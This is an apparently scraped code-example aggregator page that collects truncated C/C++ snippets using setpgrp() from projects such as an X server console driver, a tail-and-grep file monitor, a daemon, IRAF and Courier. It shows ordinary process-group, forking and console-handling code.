    if (VTnum == -1) {
      /*
       * No device was specified. We need to query the kernel to see which
       * console device we are on (and in fact if we are on a console at all).
       */
      ttn = ttyname (1);

      if (ttn == (char *)0) {
	FatalError ("xf86OpenConsole: Could not determine TTY name: %s\n",
	  strerror(errno));
      }
      strlcpy (vtdevice, ttn, sizeof(vtdevice));
    } else if (VTnum >= 0) {
      snprintf (vtdevice, sizeof(vtdevice), "/dev/tty%02d", VTnum);
    }

    /*
     * Now we can dispose of stdin/stdout
     */
    fclose (stdin);
    fclose (stdout);

    if ((xf86Info.consoleFd = open(vtdevice, O_RDWR | O_NDELAY, 0)) < 0) {
      FatalError("xf86OpenConsole: Cannot open %s: %s\n", vtdevice,
	strerror(errno));
    }

    /*
     * We make 100% sure we use the correct VT number. This can get ugly
     * where there are multi-consoles in use, so we make sure we query
     * the kernel for the correct VT number. It knows best, we don't.
     */
    vidinf.size = sizeof(vidinf);
    if (ioctl (xf86Info.consoleFd, CONS_GETINFO, &vidinf) < 0) {
      FatalError ("xf86OpenConsole: %s not a console device "
	"or error querying device: %s\n", vtdevice, strerror (errno));
    }
    xf86Info.vtno = vidinf.m_num;
    VTnum = vidinf.m_num + 1; /* 0-based */

    ErrorF("(using VT%02d device %s)\n\n", VTnum, vtdevice);

    /* We activate the console just in case its not the one we are on */
    if (ioctl(xf86Info.consoleFd, VT_ACTIVATE, xf86Info.vtno) != 0) {
        ErrorF("xf86OpenConsole: VT_ACTIVATE failed (%s)\n", strerror(errno));
    }

    /* Disassociate from controling TTY */
    if (!KeepTty) {
      setpgrp();
    }

    /*
     * Now we get the current mode that the console device is in. We will
     * use this later when we close the console device to restore it to
     * that same mode.
     */
    if ((sco_console_mode = ioctl(xf86Info.consoleFd, CONS_GET, 0L)) < 0) {
      FatalError("xf86OpenConsole: CONS_GET failed on console (%s)\n",
          strerror(errno));
    }

    if (ioctl(xf86Info.consoleFd, VT_GETMODE, &VT) < 0) {
      FatalError("xf86OpenConsole: VT_GETMODE failed (%s)\n", strerror(errno));
    }

    sigvtsw.sa_handler = xf86VTRequest;
    sigfillset(&sigvtsw.sa_mask);
//.........这里部分代码省略.........
开发者ID:GrahamCobb,项目名称:maemo-xsisusb,代码行数:101,代码来源:sco_init.c


示例15: ficheiro

//Verifica se é inserida uma frase com a palavra passada como argumento e imprime-a juntamente com
//a hora da modificação
void ficheiro(char* filename, char* palavra){
	int pidTail, pidGrep, fd1[2], fd2[2];

	char* argTail[] = {"tail", "-f", "-n 0", filename, 0};
	char* argGrep[] = {"grep", palavra, "--line-buffered", 0};  
	
	signal(SIGUSR1, sigusr1handler);
	setpgrp();
	
	if ( pipe(fd1) == -1 )
		printf("Failed Pipe fd1 \n");
	
	if( ( pidTail = fork() ) == -1 )
		printf("Failed Fork Tail \n");
		
	if ( pidTail == 0 ) /* CHILD TAIL */ {		
		close(fd1[0]);
		dup2(fd1[1], STDOUT_FILENO);
		
		if( execvp("tail", argTail) == -1 )
			printf("Error tail \n");	
	}
	
	else if ( pidTail > 0 ) /* PARENT TAIL */ {
		if ( pipe(fd2) == -1 )
		printf("Failed Pipe fd2 \n");
		
		if( ( pidGrep = fork() ) == -1 )
			printf("Erro Fork Grep \n");
	
		if (pidGrep == 0) /* FILHO GREP */ {
			close(fd1[1]);
			close(fd2[0]);
			dup2(fd1[0], STDIN_FILENO);
			dup2(fd2[1], STDOUT_FILENO);
			
			if( execvp("grep", argGrep) == -1 )
				printf("Error grep \n");
		}
		
		else if (pidGrep > 0) /* PAI GREP */ {
			close(fd1[0]);
			close(fd1[1]);
			close(fd2[1]);
			time_t t;
			struct tm * tm;
			int n;
			char* line = malloc(200);

			while ( ( n = read( fd2[0], line, 200) ) > 0 ){
				
				if (line[n - 1] == '\n')
					line[n - 1] = '\0';
			
				t = time(NULL);
				tm = localtime(&t);
				
				char strA[200];
			
				strftime(strA, 200 , "%Y-%m-%dT%H:%M:%S", tm);
				strcat ( strA, " - ");
				strcat ( strA, filename);
				strcat ( strA, " - \"");
				strcat ( strA, line);
				strcat (strA, "\"\n\0");
				
				write(STDOUT_FILENO, strA, strlen(strA));
			}
		} 	
	}
}
开发者ID:jpamorim,项目名称:feup-sope,代码行数:73,代码来源:monitor.c


示例16: daemonFrame

void daemonFrame()
{
    pid_t currentPID;
#if(1)
    
    currentPID = fork();

    if (currentPID < 0)
        exit(EXIT_FAILURE);


    if (currentPID > 0)
        exit(EXIT_SUCCESS);

    if (setsid() < 0)
        exit(EXIT_FAILURE);
#endif
    signal(SIGCHLD, SIG_IGN);
    signal(SIGHUP, SIG_IGN);
    
    signal(SIGQUIT, Handlers::fatalSignalHandler);
    signal(SIGILL, Handlers::fatalSignalHandler);
    signal(SIGTRAP, Handlers::fatalSignalHandler);
    signal(SIGABRT, Handlers::fatalSignalHandler);
    signal(SIGIOT, Handlers::fatalSignalHandler);
    signal(SIGBUS, Handlers::fatalSignalHandler);
    signal(SIGFPE, Handlers::fatalSignalHandler);
    signal(SIGSEGV, Handlers::fatalSignalHandler);
    signal(SIGSTKFLT, Handlers::fatalSignalHandler);
    signal(SIGCONT, Handlers::fatalSignalHandler);
    signal(SIGPWR, Handlers::fatalSignalHandler);
    signal(SIGSYS, Handlers::fatalSignalHandler);
    signal(SIGTERM, Handlers::terminationSignalHandler<ResponseManager>);
    
#if(1)
    currentPID = fork();

    if (currentPID < 0)
        exit(EXIT_FAILURE);

    if (currentPID > 0)
        exit(EXIT_SUCCESS);

    umask(0);

    chdir("/");

    close(STDIN_FILENO);
    close(STDOUT_FILENO);
    close(STDERR_FILENO);

    int stdioStub = open("/dev/null", O_RDWR);
    dup(stdioStub);
    dup(stdioStub);
    
    setpgrp(); 
#endif

    SingleLogger* logger = SingleLogger::InitLogger();
    std::string message("Daemon PID: " + std::to_string((getpid())));
    logger->logMessage(SingleLogger::INFO, message.c_str());
    logger->FreeLogger();
}
开发者ID:camerafifo,项目名称:testfifo,代码行数:63,代码来源:main.cpp


示例17: main


//.........这里部分代码省略.........
		signal (SIGINT, SIG_IGN);
		arg++;

		/* Check if we want IPC debug logging. */
		if (getenv (LOGIPC)) {
		    char   fname[SZ_FNAME];

		    sprintf (fname, "%d.in", getpid());
		    ipc_in = creat (fname, 0644);
		    sprintf (fname, "%d.out", getpid());
		    ipc_out = creat (fname, 0644);
		}

ipc_:
		prtype = PR_CONNECTED;
		ZLOCPR (ZARDPR, &driver);
		devtype = BINARY_FILE;

	    } else if (strcmp (argv[arg], "-d") == 0) {
		signal (SIGINT,  SIG_IGN);
		signal (SIGTSTP, SIG_IGN);
		arg++;

		/* Put this background process in its own process group,
		 * so that it will be unaffected by signals sent to the
		 * parent's process group, and to prevent the detached process
		 * from trying to read from the parent's terminal.
		 * [Sun/IRAF Note - this is necessary to prevent SunView from
		 * axeing bkg jobs when "Exit Suntools" is selected from the
		 * root menu].
		 */
		jobcode = getpid();
#if defined(SYSV) || (defined(MACH64) && defined(MACOSX) || defined(IPAD))
		setpgrp ();
#else
		setpgrp (0, jobcode);
#endif

		freopen ("/dev/null", "r", stdin);
		prtype = PR_DETACHED;
		ZLOCPR (ZGETTX, &driver);
		devtype = TEXT_FILE;

		/* Copy the bkgfile to PKCHAR buffer to avoid the possibility
		 * that argv[2] is not PKCHAR aligned.
		 */
		strcpy ((char *)osfn_bkgfile, argv[arg]);
		arg++;

	    } else if (strcmp (argv[arg], "-h") == 0) {
		/* Default case. */
		arg++;
	    }
	}

	len_irafcmd = SZ_LINE;
	irafcmd = (XCHAR *) malloc (len_irafcmd * sizeof(XCHAR));

	/* If there are any additional arguments on the command line pass
	 * these on to the IRAF main as the IRAF command to be executed.
	 */
	if (arg < argc) {
	    for (nchars=0;  arg < argc;  arg++) {
		while (nchars + strlen(argv[arg]) > len_irafcmd) {
		    len_irafcmd += 1024;
		    irafcmd = (XCHAR *) realloc ((char *)irafcmd,
开发者ID:pkgw,项目名称:iraf,代码行数:67,代码来源:zmain.c


示例18: main


//.........这里部分代码省略.........
        {
            /*
            ** We'll fail trying to execute courierd anyway, but let's
            ** give a meaningful error message now.
            */
            fprintf(stderr, "courier start can be executed only by the superuser.\n");
            return (1);
        }
        signal(SIGCHLD, SIG_DFL);
        while ((p=fork()) == -1)
        {
            perror("fork");
            sleep(10);
        }
        if (p == 0)
        {
            dup2(pipefd[1], 3);
            close(pipefd[1]) 

鲜花

握手

雷人

路过

鸡蛋
该文章已有0人参与评论

请发表评论

全部评论

专题导读
上一篇:
C++ setpixel函数代码示例发布时间:2022-05-30
下一篇:
C++ setpath函数代码示例发布时间:2022-05-30
热门推荐
阅读排行榜

扫描微信二维码

查看手机版网站

随时了解更新最新资讯

139-2527-9053

在线客服(服务时间 9:00~18:00)

在线QQ客服
地址:深圳市南山区西丽大学城创智工业园
电邮:jeky_zhao#qq.com
移动电话:139-2527-9053

Powered by 互联科技 X3.4© 2001-2213 极客世界.|Sitemap